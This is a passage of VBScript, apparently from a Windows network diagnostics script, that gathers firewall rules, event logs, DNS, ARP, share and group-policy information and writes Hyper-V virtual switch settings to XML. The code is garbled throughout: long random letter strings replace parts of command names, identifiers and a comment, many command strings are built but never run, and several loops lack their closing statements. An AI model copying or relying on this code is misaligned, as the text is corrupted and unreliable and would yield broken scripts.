cmd = "cmd /c netsh advfirewall consec show rule name=all verbose >> " & configFileName

'Dump the firewall rules from Dynamic Store

cmd = "cmd /c echo Firewall Rules currently enforced : > " & effectiveRulesFileName

cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName

cmd = "cmd /c netsh advfirewall monitor show firewall rule name=all >> " & effectiveRulesFileName

'Dump the connection security rules from Dynamic Store

cmd = "cmd /c echo Connection Security Rules currently enforced : >> " & effectiveRulesFileName

cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName

cmd = "cmd /c netsh advfirewall monitor show consec rule name=all >> " & effectiveRulesFileName

'Export the operational log

cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"" " & logFileName

'Archive the log so that it could be read on different machines

cmd = "cmd /c wevtutil al " & logFileName

'Export the operational log

cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"" " & consecLogFileName

'Archive the log so that it could be read on different machines

cmd = "cmd /c wevtutil al " & consecLogFileName

'Export the operational log

cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose"" " & logFileNameVerbose

'Archive the log so that it could be read on different machines

cmd = "cmd /c wevtutil al " & logFileNameVerbose

'Export the operational log

cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose"" " & consecLogFileNameVerbose

'Archive the log so that it could be read on different machines

cmd = "cmd /c wevtutil al " & consecLogFileNameVerbose

End Sub

Sub GetWfpInfo(outputFileName, logFileName)

On Error Resume Next

cmd = "cmd /c netsh wfp show filters file=" & outputFileName & " > " & logFileName

End Sub

' Dump Netio State

Sub GetNetioInfo(outputFileName)

On Error Resume Next

cmd = "cmd /c netsh interface teredo show state > " & outputFileName

cmd = "cmd /c netsh interface httpstunnel show interface >> " & outputFileName

cmd = "cmd /c netsh interface httpstunnel show statistics >> " & outputFileName

End Sub

Sub GetDnsInfo(logFileName)

On Error Resume Next

RunCmd "echo IPCONFIG /DISPLAYDNS: ", logFileName

RunCmd "ipconfig /displaydns", logFileName

RunCmd "echo. ", logFileName

RunCmd "echo NETSH NAMESPACE SHOW EFFECTIVE:", logFileName

RunCmd "netsh namespace show effective", logFileName

RunCmd "echo.", logFileName

RunCmd "echo NETSH NAMESPACE SHOW POLICY:", logFileName

RunCmd "netsh namespace show policy", logFileName

End Sub

Sub GetNeighborInfo(logFileName)

On Error Resume Next

RunCmd "echo ARP -A:", logFileName

RunCmd "arp -a", logFileName

RunCmd "echo.", logFileName

RunCmd "echo NETSH INT IPV6 SHOW NEIGHBORS:", logFileName

RunCmd "netsh int ipv6 show neigh", logFileName

End Sub

Sub GetFileSharingInfo(logFileName)

On Error Resume Next

RunCmd "echo NBTSTAT -N:", logFileName

RunCmd "nbtstat -n", logFileName

RunCmd "echo.", logFileName

RunCmd "echo NBTSTAT -C:", logFileName

RunCmd "nbtstat -c", logFileName

RunCmd "echo.", logFileName

RunCmd "echo NET CONFIG RDR:", logFileName

RunCmd "net config rdr", logFileName

' Run the following 2 commands only if lanmanserver service is running

' In WOA build, FileSharing is disabled - hence this sqhCQSZPUmZXFKDWIEohNvfljPosSRAIGTeUpYOaTrNTouHFKSbjHzOUkJJYqeIoBWHJNShGBSVCJfOYfhOlXPoSQHYpjvzLmOePPDMNAMtrzSugxLRALrKMGottkslrgOSNzCzGuNIXJbhBefnNCzvvQbijoaZszTZJzBhEueCHqJcGWUBfMZMrKGPTeJyPaxKmqadEs in a prompt

' which halts the script at that point and netsh trace stop can go on indefinitely

strComputer = "."

Set objWmiService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

strQuery = "Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True"

Set objService = objWmiService.ExecQuery (strQuery)

RunCmd "echo.", logFileName

RunCmd "echo NET CONFIG SRV:", logFileName

If objService.Count = 1 Then

RunCmd "net config srv", logFileName

Else

RunCmd "echo The Server service is not running.", logFileName

End If

RunCmd "echo.", logFileName

RunCmd "echo NET SHARE:", logFileName

If objService.Count = 1 Then

RunCmd "net share", logFileName

Else

RunCmd "echo The Server service is not running.", logFileName

End If

End Sub

Sub GetGPResultInfo(logFileName)

On Error Resume Next

cmd = "cmd /c gpsqhCQSZPUmZXFKDWIEohNvfljPosSRAIGTeUpYOaTrNTouHFKSbjHzOUkJJYqeIoBWHJNShGBSVCJfOYfhOlXPoSQHYpjvzLmOePPDMNAMtrzSugxLRALrKMGottkslrgOSNzCzGuNIXJbhBefnNCzvvQbijoaZszTZJzBhEueCHqJcGWUBfMZMrKGPTeJyPaxKmqadE /scope:computer /v 1> " & logFileName & " 2>&1"

End Sub

Sub GetNetEventsInfo(outputFileName, logFileName)

On Error Resume Next

cmd = "cmd /c netsh wfp show netevents file=" & outputFileName & " 1> " & logFileName & " 2>&1"

End Sub

Sub GetShowStateInfo(outputFileName, logFileName)

On Error Resume Next

cmd = "cmd /c netsh wfp show state file=" & outputFileName & " 1> " & logFileName & " 2>&1"

End Sub

Sub GetSysPortsInfo(outputFileName, logFileName)

On Error Resume Next

cmd = "cmd /c netsh wfp show sysports file=" & outputFileName & " 1> " & logFileName & " 2>&1"

End Sub

' Add XML node entry

Sub AddXmlNodeEntry(xmlDoc, entryName, entryValue, parentEntry, entryObject)

On Error Resume Next

Set entryObject = xmlDoc.createElement(entryName)

If (IsNull(entryValue) = False) Then

entryObject.Text = entryValue

End If

parentEntry.appendChild entryObject

End Sub

' Dump Vmswitch State

Sub GetVmswitchInfo(outputFileName)

On Error Resume Next

strComputer = "."

Set objCimService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

onOffState = Array("On", "Off")

reservationMode = Array("Default", "Weight", "Absolute", "None")

extensionUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlOArray = Array("Unknown", "Capture", "Filter", "Forwarding", "Monitoring", "Native")

enabledStatesArray = Array("Unknown", "Unknown", "Enabled", "Disabled")

vlanModeArray = Array("Unknown","Access","Trunk","Private")

PvlanModeArray = Array("Unknown","Isolated","Community","Promiscuous")

monitorModeArray = Array("None","Destination","Source")

aclActionArray = Array("Unknown","Allow","Deny","Meter")

aclDirectionArray = Array("Unknown","Inbound","Outbound")

aclApplicabilityArray = Array("Unknown","Local","Remote")

aclUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlOArray = Array("Unknown","MAC","IPv4","IPv6")

isolationModeArray = Array("None","NativeVirtualSubnet","ExternalVirtualSubnet","VLAN")

iovInterruptModerationArray = Array("Default", "Adaptive", "Off", "Low", "Medium", "High")

strQuery = "Select * from WIN32_Service where Name = 'vmms' AND Started = True"

Set objVmmsService = objCimService.ExecQuery (strQuery)

If objVmmsService.Count > 0 Then

Set xmlDoc = CreateObject("Microsoft.XMLDOM")

Set objRoot = xmlDoc.createElement("VmswitchInfo")

xmlDoc.appendChild objRoot

Set objVirtualizationService = GetObject("winmgmts:\\" & strComputer & "\root\virtualization\v2")

strQuery = "Select * from MSVM_VirtualEthernetSwitch"

Set switches = objVirtualizationService.ExecQuery (strQuery)

For Each switch in switches

Call AddXmlNodeEntry(xmlDoc, "Switch", null, objRoot, objSwitch)

Call AddXmlNodeEntry(xmlDoc, "Name", switch.Name, objSwitch, objSwitchName)

Call AddXmlNodeEntry(xmlDoc, "FriendlyName", switch.ElementName, objSwitch, objSwitchFriendlyName)

strQuery = "Select * from MSVM_VirtualEthernetSwitchSettingData WHERE VirtualSystemIdentifier='" + switch.Name + "'"

Set switchSetting = objVirtualizationService.ExecQuery (strQuery).ItemIndex(0)

switchReservationMode = reservationMode(switchSetting.BandwidthReservationMode)

iovPreferred = switchSetting.IOVPreferred

' Bandwidth info

Call AddXmlNodeEntry(xmlDoc, "SwitchBandwidth", null, objSwitch, objBandwidth)

Call AddXmlNodeEntry(xmlDoc, "BandwidthReservationMode", switchReservationMode, objBandwidth, objSwitchBandwidthReservationMode)

strQuery = "Select * from MSVM_EthernetSwitchBandwidthData WHERE SystemName ='" + switch.Name + "'"

Set queryResult = objVirtualizationService.ExecQuery (strQuery)

If (queryResult.Count > 0) Then

Set bandwidth = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "BandwidthCapacity", bandwidth.Capacity, objBandwidth, objSwitchBandwidthCapacity)

Call AddXmlNodeEntry(xmlDoc, "DefaultFlowReservation", bandwidth.DefaultFlowReservation, objBandwidth, objSwitchDefaultFlowReservation)

Call AddXmlNodeEntry(xmlDoc, "DefaultFlowReservationPercentage", bandwidth.DefaultFlowReservationPercentage, objBandwidth, objSwitchDefaultFlowReservationPercentage)

Call AddXmlNodeEntry(xmlDoc, "DefaultFlowWeight", bandwidth.DefaultFlowWeight, objBandwidth, objSwitchDefaultFlowWeight)

Call AddXmlNodeEntry(xmlDoc, "Reservation", bandwidth.Reservation, objBandwidth, objSwitchReservation)

End if

' Offload info

Call AddXmlNodeEntry(xmlDoc, "SwitchOffload", null, objSwitch, objOffload)

Call AddXmlNodeEntry(xmlDoc, "IOVPreferred", iovPreferred, objOffload, objSwitchIOVPreferred)

strQuery = "Select * from MSVM_EthernetSwitchHardwareOffloadData WHERE SystemName='" + switch.Name + "'"

Set queryResult = objVirtualizationService.ExecQuery (strQuery)

If (queryResult.Count > 0) Then

Set offload = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "IovQueuePairCapacity", offload.IovQueuePairCapacity, objOffload, objSwitchIovQueuePairCapacity)

Call AddXmlNodeEntry(xmlDoc, "IovQueuePairUsage", offload.IovQueuePairUsage, objOffload, objSwitchIovQueuePairUsage )

Call AddXmlNodeEntry(xmlDoc, "IovVfCapacity", offload.IovVfCapacity, objOffload, objSwitchIovVfCapacity)

Call AddXmlNodeEntry(xmlDoc, "IovVfUsage", offload.IovVfUsage, objOffload, IovVfUsage)

Call AddXmlNodeEntry(xmlDoc, "IPsecSACapacity", offload.IPsecSACapacity, objOffload, objSwitchIPsecSACapacity)

Call AddXmlNodeEntry(xmlDoc, "IPsecSAUsage", offload.IPsecSAUsage, objOffload, objSwitchIPsecSAUsage)

End if

' Extension info

Call AddXmlNodeEntry(xmlDoc, "SwitchExtensions", null, objSwitch, objExtensionList)

strQuery = "Select * from MSVM_EthernetSwitchExtension WHERE SystemName='" + switch.Name + "'"

Set extensionList = objVirtualizationService.ExecQuery (strQuery)

For Each extension In extensionList

Call AddXmlNodeEntry(xmlDoc, "Extension", null, objExtensionList, objExtension)

Call AddXmlNodeEntry(xmlDoc, "ElementName", extension.ElementName, objExtension, objExtensionElementName)

Call AddXmlNodeEntry(xmlDoc, "Name", extension.Name, objExtension, objExtensionName)

Call AddXmlNodeEntry(xmlDoc, "ExtensionUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO", extensionUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlOArray(extension.ExtensionUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO), objExtension, objExtensionExtensionUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO)

Call AddXmlNodeEntry(xmlDoc, "EnabledState", enabledStatesArray(extension.EnabledState), objExtension, objExtensionEnabledState)

Call AddXmlNodeEntry(xmlDoc, "EnabledDefault", enabledStatesArray(extension.EnabledDefault), objExtension, objExtensionEnabledDefault)

Call AddXmlNodeEntry(xmlDoc, "Vendor", extension.Vendor, objExtension, objExtensionVendor)

Call AddXmlNodeEntry(xmlDoc, "Version", extension.Version, objExtension, objExtensionVersion)

' Port info

strQuery = "Select * from MSVM_EthernetSwitchPort WHERE SystemName='" + switch.Name + "'"

Set switchPort = objVirtualizationService.ExecQuery (strQuery)

For Each port In switchPort

Call AddXmlNodeEntry(xmlDoc, "Port", null, objSwitch, objPort)

Call AddXmlNodeEntry(xmlDoc, "Name", port.Name, objPort, objPortName)

Call AddXmlNodeEntry(xmlDoc, "FriendlyName", port.ElementName, objPort, objPortFriendlyName)

'Port offload info

Call AddXmlNodeEntry(xmlDoc, "PortOffload", null, objPort, objPortOffload)

strQuery = "Select * from MSVM_EthernetSwitchPortOffloadData WHERE DeviceID='" + port.Name + "'"

Set queryResult = objVirtualizationService.ExecQuery (strQuery)

If (queryResult.Count > 0) Then

Set portOffload = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "IovOffloadUsage", portOffload.IovOffloadUsage, objPortOffload, objPortIovOffloadUsage)

Call AddXmlNodeEntry(xmlDoc, "IovQueuePairUsage", portOffload.IovQueuePairUsage, objPortOffload, objPortIovQueuePairUsage)

Call AddXmlNodeEntry(xmlDoc, "IovVfDataPathActive", portOffload.IovVfDataPathActive, objPortOffload, objPortIovVfDataPathActive)

Call AddXmlNodeEntry(xmlDoc, "IovVfId", portOffload.IovVfId, objPortOffload, objPortIovVfId)

Call AddXmlNodeEntry(xmlDoc, "IpsecCurrentOffloadSaCount", portOffload.IpsecCurrentOffloadSaCount, objPortOffload, objPortIpsecCurrentOffloadSaCount)

Call AddXmlNodeEntry(xmlDoc, "VMQId", portOffload.VMQId, objPortOffload, objPortVMQId)

Call AddXmlNodeEntry(xmlDoc, "VMQOffloadUsage", portOffload.VMQOffloadUsage, objPortOffload, objPortVMQOffloadUsage)

End if

'Port Bandwidth feature status

Call AddXmlNodeEntry(xmlDoc, "PortBandwidth", null, objPort, objPortBandwidth)

strQuery = "Select * from MSVM_EthernetSwitchPortBandwidthData WHERE DeviceID='" + port.Name + "'"

Set queryResult = objVirtualizationService.ExecQuery (strQuery)

If (queryResult.Count > 0) Then

Set portBandwidth = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "BandwidthReservationPercentage", portBandwidth.CurrentBandwidthReservationPercentage, objPortBandwidth, objPortCurrentBandwidthReservationPercentage)

End If

'Get the setting data for the port

Set portSettingObject = port.Associators_("Msvm_ElementSettingData", "Msvm_EthernetPortAllocationSettingData").ItemIndex(0)

'Port bandwidth setting

Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortBandwidthSettingData")

If (queryResult.Count > 0) Then

Set portBandwidthData = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "BurstLimit", portBandwidthData.BurstLimit, objPortBandwidth, objPortBurstLimit)

Call AddXmlNodeEntry(xmlDoc, "BurstSize", portBandwidthData.BurstSize, objPortBandwidth, objPortBurstSize)

Call AddXmlNodeEntry(xmlDoc, "Limit", portBandwidthData.Limit, objPortBandwidth, objPortLimit)

Call AddXmlNodeEntry(xmlDoc, "Reservation", portBandwidthData.Reservation, objPortBandwidth, objPortReservation)

Call AddXmlNodeEntry(xmlDoc, "Weight", portBandwidthData.Weight, objPortBandwidth, objPortBurstWeight)

End if

' Port offload setting

Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortOffloadSettingData")

If (queryResult.Count > 0) Then

Set portOffloadData = queryResult.ItemIndex(0)

if (portOffloadData.IOVInterruptModeration <= 2) Then

iovInterruptModeration = iovInterruptModerationArray(portOffloadData.IOVInterruptModeration)

Else

iovInterruptModeration = iovInterruptModerationArray(((portOffloadData.IOVInterruptModeration)/100)+2)

End if

Call AddXmlNodeEntry(xmlDoc, "IOVInterruptModeration", iovInterruptModeration, objPortOffload, objPortIOVInterruptModeration)

Call AddXmlNodeEntry(xmlDoc, "IOVOffloadWeight", portOffloadData.IOVOffloadWeight, objPortOffload, objPortIOVOffloadWeight)

Call AddXmlNodeEntry(xmlDoc, "IOVQueuePairsRequested", portOffloadData.IOVQueuePairsRequested, objPortOffload, objPortIOVQueuePairsRequested)

Call AddXmlNodeEntry(xmlDoc, "IPSecOffloadLimit", portOffloadData.IPSecOffloadLimit, objPortOffload, objPortIPSecOffloadLimit)

Call AddXmlNodeEntry(xmlDoc, "VMQOffloadWeight", portOffloadData.VMQOffloadWeight, objPortOffload, objPortVMQOffloadWeight)

End If

' Port security setting

Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortSecuritySettingData")

If (queryResult.Count > 0) Then

Set portSecurityData = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "PortSecurity", null, objPort, objPortSecurity)

Call AddXmlNodeEntry(xmlDoc, "AllowIeeePriorityTag", onOffState(portSecurityData.AllowIeeePriorityTag+1), objPortSecurity, objPortAllowIeeePriorityTag)

Call AddXmlNodeEntry(xmlDoc, "AllowMacSpoofing", onOffState(portSecurityData.AllowMacSpoofing+1), objPortSecurity, objPortAllowMacSpoofing)

Call AddXmlNodeEntry(xmlDoc, "AllowTeaming", onOffState(portSecurityData.AllowTeaming+1), objPortSecurity, objPortAllowTeaming)

Call AddXmlNodeEntry(xmlDoc, "EnableDhcpGuard", onOffState(portSecurityData.EnableDhcpGuard+1), objPortSecurity, objPortEnableDhcpGuard)

Call AddXmlNodeEntry(xmlDoc, "EnableRouterGuard", onOffState(portSecurityData.EnableRouterGuard+1), objPortSecurity, objPortEnableRouterGuard)

Call AddXmlNodeEntry(xmlDoc, "MonitorMode", monitorModeArray(portSecurityData.MonitorMode), objPortSecurity, objPortMonitorMode)

Call AddXmlNodeEntry(xmlDoc, "MonitorSession", portSecurityData.MonitorSession, objPortSecurity, objPortMonitorSession)

Call AddXmlNodeEntry(xmlDoc, "TeamName", portSecurityData.TeamName, objPortSecurity, objPortTeamName)

Call AddXmlNodeEntry(xmlDoc, "TeamNumber", portSecurityData.TeamNumber, objPortSecurity, objPortTeamNumber)

Call AddXmlNodeEntry(xmlDoc, "VirtualSubnetId", portSecurityData.VirtualSubnetId, objPortSecurity, objPortVirtualSubnetId)

Call AddXmlNodeEntry(xmlDoc, "StormLimit", portSecurityData.StormLimit, objPortSecurity, objPortStormLimit)

Call AddXmlNodeEntry(xmlDoc, "DynamicIPAddressLimit", portSecurityData.DynamicIPAddressLimit, objPortSecurity, objPortDynamicIPAddressLimit)

End If

' Port isolation setting

Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortIsolationSettingData")

If (queryResult.Count > 0) Then

Set portIsolationData = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "PortIsolation", null, objPort, objPortIsolation)

Call AddXmlNodeEntry(xmlDoc, "IsolationMode", isolationModeArray(portIsolationData.IsolationMode), objPortIsolation, objPortIsolationMode)

Call AddXmlNodeEntry(xmlDoc, "DefaultIsolationId", portIsolationData.DefaultIsolationId, objPortIsolation, objPortDefaultIsolationId)

Call AddXmlNodeEntry(xmlDoc, "AllowUntaggedTraffic", onOffState(portIsolationData.AllowUntaggedTraffic+1), objPortIsolation, objPortAllowUntaggedTraffic)

Call AddXmlNodeEntry(xmlDoc, "EnableMultiTenantStack", onOffState(portIsolationData.EnableMultiTenantStack+1), objPortIsolation, objPortEnableMultiTenantStack)

End If

' Port routing domain setting

Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortRoutingDomainSettingData")

If (queryResult.Count > 0) Then

Call AddXmlNodeEntry(xmlDoc, "PortRoutingDomainList", null, objPort, objPortRoutingDomainList)

For each portRoutingDomainData in queryResult

Call AddXmlNodeEntry(xmlDoc, "PortRoutingDomainMapping", null, objPortRoutingDomainList, objPortRoutingDomain)

Call AddXmlNodeEntry(xmlDoc, "RoutingDomainGuid", portRoutingDomainData.RoutingDomainGuid, objPortRoutingDomain, objPortRoutingDomainGuid)

Call AddXmlNodeEntry(xmlDoc, "RoutingDomainName", portRoutingDomainData.RoutingDomainName, objPortRoutingDomain, objPortRoutingDomainName)

isolationIdString = ""

for each isolationId In portRoutingDomainData.IsolationIdList

isolationIdString = isolationIdString & isolationId & " "

Call AddXmlNodeEntry(xmlDoc, "IsolationIdList", isolationIdString, objPortRoutingDomain, objPortIsolationIdList)

isolationIdNameString = ""

for each isolationIdName In portRoutingDomainData.IsolationIdNameList

isolationIdNameString = isolationIdNameString & isolationIdName & " "

Call AddXmlNodeEntry(xmlDoc, "IsolationIdNameList", isolationIdNameString, objPortRoutingDomain, objPortIsolationIdNameList)

End If

'Port VLAN setting

Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortVlanSettingData")

If (queryResult.Count > 0) Then

Set portVlanData = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "PortVlan", null, objPort, objPortVlan)

Call AddXmlNodeEntry(xmlDoc, "VlanMode", vlanModeArray(portVlanData.OperationMode), objPortVlan, objPortVlanMode)

if (portVlanData.OperationMode = 1) Then

Call AddXmlNodeEntry(xmlDoc, "AccessVlanId", portVlanData.AccessVlanId, objPortVlan, objPortVlanAccess)

End If

if (portVlanData.OperationMode = 2) Then

Call AddXmlNodeEntry(xmlDoc, "NativeVlanId", portVlanData.NativeVlanId, objPortVlan, objPortVlanNative)

trunkVlanString = ""

for each trunkVlanId In portVlanData.TrunkVlanIdArray

trunkVlanString = trunkVlanString & trunkVlanId & " "

Call AddXmlNodeEntry(xmlDoc, "TrunkVlanArray", trunkVlanString, objPortVlan, objPortVlanTrunk)

pruneVlanString = ""

for each prunevlanId In portVlanData.PruneVlanIdArray

tpruneVlanString = pruneVlanString & prunevlanId & " "

Call AddXmlNodeEntry(xmlDoc, "PruneVlanArray", trunkVlanString, objPortVlan, objPortVlanPrune)

End If

if (portVlanData.OperationMode = 3) Then

Call AddXmlNodeEntry(xmlDoc, "PvlanMode", PvlanModeArray(portVlanData.PvlanMode), objPortVlan, objPortPVlanMode)

Call AddXmlNodeEntry(xmlDoc, "PrimaryVlanId", portVlanData.PrimaryVlanId, objPortVlan, objPortPrimaryVlanId)

Call AddXmlNodeEntry(xmlDoc, "SecondaryVlanId", portVlanData.SecondaryVlanId, objPortVlan, objPortSecondaryVlanId)

secondaryVlanString = ""

for each secondaryVlanId In portVlanData.SecondaryVlanIdArray

secondaryVlanString = secondaryVlanString & secondaryVlanId & " "

Call AddXmlNodeEntry(xmlDoc, "SecondaryVlanArray", secondaryVlanString, objPortVlan, objPortVlanSecondary)

End If

'Extended Port ACLs

Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortExtendedAclSettingData")

If (queryResult.Count > 0) Then

Call AddXmlNodeEntry(xmlDoc, "PortExtendedAclList", null, objPort, objPortEaclList)

for each extendedacl In queryResult

Call AddXmlNodeEntry(xmlDoc, "ExtendedAcl", null, objPortEaclList, objPortEacl)

Call AddXmlNodeEntry(xmlDoc, "Action", aclActionArray(extendedAcl.Action), objPortEacl, objPortEaclAction)

Call AddXmlNodeEntry(xmlDoc, "Direction", aclDirectionArray(extendedAcl.Direction), objPortEacl, objPortEaclDirection)

Call AddXmlNodeEntry(xmlDoc, "Weight", extendedAcl.Weight, objPortEacl, objPortEaclWeight)

Call AddXmlNodeEntry(xmlDoc, "Protocol", extendedAcl.Protocol, objPortEacl, objPortEaclProtocol)

Call AddXmlNodeEntry(xmlDoc, "LocalIPAddress", extendedAcl.LocalIPAddress, objPortEacl, objPortEaclLocalIP)

Call AddXmlNodeEntry(xmlDoc, "LocalPort", extendedAcl.LocalPort, objPortEacl, objPortEaclLocalPort)

Call AddXmlNodeEntry(xmlDoc, "RemoteIPAddress", extendedAcl.RemoteIPAddress, objPortEacl, objPortEaclRemoteIP)

Call AddXmlNodeEntry(xmlDoc, "RemotePort", extendedAcl.RemotePort, objPortEacl, objPortEaclRemotePort)

Call AddXmlNodeEntry(xmlDoc, "Stateful", onOffState(extendedAcl.Stateful+1), objPortEacl, objPortEaclStateful)

Call AddXmlNodeEntry(xmlDoc, "IsolationID", extendedAcl.IsolationID, objPortEacl, objPortEaclIsolationId)

End If

'Port ACLs

Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortAclSettingData")

If (queryResult.Count > 0) Then

Call AddXmlNodeEntry(xmlDoc, "PortAclList", null, objPort, objPortAclList)

for each acl In queryResult

Call AddXmlNodeEntry(xmlDoc, "Acl", null, objPortAclList, objPortAcl)

Call AddXmlNodeEntry(xmlDoc, "Action", aclActionArray(acl.Action), objPortAcl, objPortAclAction)

Call AddXmlNodeEntry(xmlDoc, "AclUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO", aclUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlOArray(acl.AclUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO), objPortAcl, objPortAclUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO)

Call AddXmlNodeEntry(xmlDoc, "Applicability", aclApplicabilityArray(acl.Applicability), objPortAcl, objPortAclApplicability)

Call AddXmlNodeEntry(xmlDoc, "Direction", aclDirectionArray(acl.Direction), objPortAcl, objPortAclDirection)

Call AddXmlNodeEntry(xmlDoc, "LocalAddress", acl.LocalAddress, objPortAcl, objPortAclLocalAddress)

Call AddXmlNodeEntry(xmlDoc, "LocalAddressPrefixLength", acl.LocalAddressPrefixLength, objPortAcl, objPortAclLocalAddressPrefixLength)

Call AddXmlNodeEntry(xmlDoc, "RemoteAddress", acl.RemoteAddress, objPortAcl, objPortAclRemoteAddress)

Call AddXmlNodeEntry(xmlDoc, "RemoteAddressPrefixLength", acl.RemoteAddressPrefixLength, objPortAcl, objPortAclRemoteAddressPrefixLength)

End If

'Connected NIC

Set portLanEndPoint = port.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_LANEndpoint").ItemIndex(0)

Set nicLanEndPoint = portLanEndPoint.Associators_("Msvm_ActiveConnection", "Msvm_LANEndpoint").ItemIndex(0)

logNic = false

'Synthetic NIC

Set queryResult = nicLanEndPoint.Associators_("Msvm_DeviceSAPImplementation", "Msvm_SyntheticEthernetPort")

If (queryResult.Count > 0) Then

Set nic = queryResult.ItemIndex(0)

logNic = True

End If

'Emulated NIC

Set queryResult = nicLanEndPoint.Associators_("Msvm_DeviceSAPImplementation", "Msvm_EmulatedEthernetPort")

If (queryResult.Count > 0) Then

Set nic = queryResult.ItemIndex(0)

logNic = True

End If

'Internal NIC

Set queryResult = nicLanEndPoint.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_InternalEthernetPort")

If (queryResult.Count > 0) Then

Set nic = queryResult.ItemIndex(0)

logNic = True

End If

'External NIC

Set queryResult = nicLanEndPoint.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_ExternalEthernetPort")

If (queryResult.Count > 0) Then

Set nic = queryResult.ItemIndex(0)

logNic = True

End If

If (logNic = True) Then

Call AddXmlNodeEntry(xmlDoc, "Nic", null, objPort, objNic)

